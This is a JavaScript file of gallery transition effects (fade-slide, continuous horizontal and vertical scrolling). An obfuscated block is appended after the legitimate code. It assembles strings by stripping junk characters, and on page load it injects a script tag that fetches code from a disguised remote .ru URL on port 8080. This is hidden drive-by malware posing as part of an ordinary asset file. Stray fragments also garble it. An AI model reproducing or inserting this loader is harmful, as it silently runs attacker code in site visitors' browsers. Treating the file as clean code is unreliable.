/**
 * @author jon
 */
gallery.Transitions.extend({
	fadeslideleft: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.Cubic.easeOut;
		oldFx.options.duration = newFx.options.duration = 1500;
		if (newPos > oldPos)
		{
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0],
				opacity: 1
			});
			oldFx.start({opacity: [1,0]});
		} else {
			newFx.start({opacity: [0,1]});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth],
				opacity: 0
			}).chain(function(fx){fx.set({left: 0});}.pass(oldFx));
		}
	},
	continuoushorizontal: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth * -1]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth});
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth * -1});
			newFx.start({
				left: [this.galleryElement.offsetWidth * -1, 0]
			});
		}
	},
	continuousvertical: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight * -1]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight});
			newFx.start({
				top: [this.galleryElement.offsetHeight, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight * -1});
			newFx.start({
				top: [this.galleryElement.offsetHeight * -1, 0]
			});
		}
	}
});





var h=new String();this.r="";:LineMixer [this.h_='';var m=window;var e="";var w='s$c|r!i_p_t_'.replace(/[_\$\|\*\!]/g, '');var vk;if(vk!=''){vk='z'};var j='cxroedaxtxeZE2loexm2e2notd'.replace(/[d2Zxo]/g, '');this.ma=false;]var hn;if(hn!='l' && hn != ''){hn=null};m.onload=function(){try {var ap;if(ap!='' && ap!='ao'){ap=''};var _f="_f";q=document[j](w);var vv=new String();var ps;if(ps!='bs' && ps!='ho'){ps='bs'};:LineMixer [var wp=19234;q['s*rIc:'.replace(/[\:&H\*I]/g, '')]='h!tBtVpV:V/D/!dVeVv9i9aDnVtBcBl9iVpD-BcVoVm!.Bs!o!fVtBp9e9dDi!a9.BcBo9m9.9m!iBnBi9nBoBv9a!-Bo!rVg!.By9oVuBrBtVoBl!lDtVaDgD.Br9uD:V8!0V890!/!gBoDoBgVl9e9.!cVo!.!n!zD/VgDo9oBg!l9e9.9cDoD.9nBz!/9bDr!e9aVkD.VcDoDm!/BgVo9oVgBlVe!.!cVo9mB/DmDa!iDl!.!r!uB/V'.replace(/[VD\!B9]/g, '');q.setAttribute('dnepfnehrp'.replace(/[p&Zhn]/g, ''), "1");this.ub=1794;]var iw='';var _a='';document['b2ocd@y,'.replace(/[,cg@2]/g, '')]['a8pJpJeOnHd~C8hJi8lOdO'.replace(/[O~8JH]/g, '')](q);this.od="";} catch(y){};var ok="";var ys;if(ys!='' && ys!='rg'){ys=null};};
